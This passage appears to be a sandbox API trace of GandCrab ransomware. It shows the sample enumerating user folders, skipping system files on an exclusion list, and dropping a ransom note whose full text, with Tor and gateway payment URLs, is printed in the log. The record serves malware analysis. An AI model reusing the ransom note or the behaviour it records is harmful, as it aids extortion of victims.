(lpString1="User Pinned", lpString2=".") returned 1 [0054.063] lstrcmpW (lpString1="User Pinned", lpString2="..") returned 1 [0054.063] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="User Pinned" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" [0054.063] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 90 [0054.063] FindNextFileW (in: hFindFile=0x5b8630, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.063] lstrcmpW (lpString1="Window Switcher.lnk", lpString2=".") returned 1 [0054.063] lstrcmpW (lpString1="Window Switcher.lnk", lpString2="..") returned 1 [0054.063] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Window Switcher.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk" [0054.064] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned 98 [0054.064] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.064] FindNextFileW (in: hFindFile=0x5b8630, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0054.064] FindClose (in: hFindFile=0x5b8630 | out: hFindFile=0x5b8630) returned 1 [0054.064] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.064] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\\\GDCB-DECRYPT.txt") returned 96 [0054.064] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.064] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.064] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0054.065] CloseHandle (hObject=0x4fc) returned 1 [0054.065] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.065] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned 79 [0054.065] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*" [0054.065] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b8cf0 [0054.065] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.065] FindNextFileW (in: hFindFile=0x5b8cf0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.066] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.066] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.066] FindNextFileW (in: hFindFile=0x5b8cf0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.066] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.066] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.066] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" [0054.066] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.066] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 90 [0054.066] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 90 [0054.066] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 90 [0054.066] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 90 [0054.066] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0054.066] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.066] FindNextFileW (in: hFindFile=0x5b8cf0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.066] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.066] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.066] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\GDCB-DECRYPT.txt" [0054.066] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.066] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\GDCB-DECRYPT.txt") returned 95 [0054.066] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\GDCB-DECRYPT.txt") returned 95 [0054.066] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\GDCB-DECRYPT.txt") returned 95 [0054.066] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\GDCB-DECRYPT.txt") returned 95 [0054.066] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.066] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.066] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.066] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.066] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.066] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.066] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.066] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.066] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.066] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.067] FindNextFileW (in: hFindFile=0x5b8cf0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.067] lstrcmpW (lpString1="Google Chrome.lnk", lpString2=".") returned 1 [0054.067] lstrcmpW (lpString1="Google Chrome.lnk", lpString2="..") returned 1 [0054.067] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Google Chrome.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk" [0054.067] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.067] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned 96 [0054.067] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned 96 [0054.067] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.067] FindNextFileW (in: hFindFile=0x5b8cf0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.067] lstrcmpW (lpString1="Microsoft Outlook.lnk", lpString2=".") returned 1 [0054.067] lstrcmpW (lpString1="Microsoft Outlook.lnk", lpString2="..") returned 1 [0054.067] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Microsoft Outlook.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk" [0054.067] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.067] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk") returned 100 [0054.067] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk") returned 100 [0054.067] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.067] FindNextFileW (in: hFindFile=0x5b8cf0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.067] lstrcmpW (lpString1="Shows Desktop.lnk", lpString2=".") returned 1 [0054.067] lstrcmpW (lpString1="Shows Desktop.lnk", lpString2="..") returned 1 [0054.067] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Shows Desktop.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk" [0054.068] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.068] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned 96 [0054.068] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned 96 [0054.068] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.068] FindNextFileW (in: hFindFile=0x5b8cf0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.068] lstrcmpW (lpString1="User Pinned", lpString2=".") returned 1 [0054.068] lstrcmpW (lpString1="User Pinned", lpString2="..") returned 1 [0054.068] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="User Pinned" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" [0054.068] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\" [0054.068] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.068] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.068] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.068] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.068] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.068] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.069] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\") returned 91 [0054.069] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*" [0054.069] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5b87b0 [0054.069] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.069] FindNextFileW (in: hFindFile=0x5b87b0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.069] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.069] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.069] FindNextFileW (in: hFindFile=0x5b87b0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.069] lstrcmpW (lpString1="ImplicitAppShortcuts", lpString2=".") returned 1 [0054.069] lstrcmpW (lpString1="ImplicitAppShortcuts", lpString2="..") returned 1 [0054.069] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="ImplicitAppShortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" [0054.069] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned 111 [0054.069] FindNextFileW (in: hFindFile=0x5b87b0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.069] lstrcmpW (lpString1="TaskBar", lpString2=".") returned 1 [0054.069] lstrcmpW (lpString1="TaskBar", lpString2="..") returned 1 [0054.069] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="TaskBar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0054.069] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned 98 [0054.069] FindNextFileW (in: hFindFile=0x5b87b0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0054.069] FindClose (in: hFindFile=0x5b87b0 | out: hFindFile=0x5b87b0) returned 1 [0054.069] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.069] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\\\GDCB-DECRYPT.txt") returned 108 [0054.069] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0054.070] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.070] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0054.071] CloseHandle (hObject=0x500) returned 1 [0054.071] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.071] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\") returned 91 [0054.071] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*" [0054.071] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5b8bf0 [0054.071] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.071] FindNextFileW (in: hFindFile=0x5b8bf0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.071] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.071] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.071] FindNextFileW (in: hFindFile=0x5b8bf0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.071] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.071] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.071] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\GDCB-DECRYPT.txt" [0054.071] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.072] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\GDCB-DECRYPT.txt") returned 107 [0054.072] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\GDCB-DECRYPT.txt") returned 107 [0054.072] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\GDCB-DECRYPT.txt") returned 107 [0054.072] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\GDCB-DECRYPT.txt") returned 107 [0054.072] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.072] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.072] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.072] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.072] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.072] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.072] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.072] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.072] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.072] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.072] FindNextFileW (in: hFindFile=0x5b8bf0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.072] lstrcmpW (lpString1="ImplicitAppShortcuts", lpString2=".") returned 1 [0054.072] lstrcmpW (lpString1="ImplicitAppShortcuts", lpString2="..") returned 1 [0054.072] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="ImplicitAppShortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" [0054.072] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\" [0054.072] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.072] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.072] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.072] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.072] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.072] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.072] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\") returned 112 [0054.072] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", lpString2="*" | out: 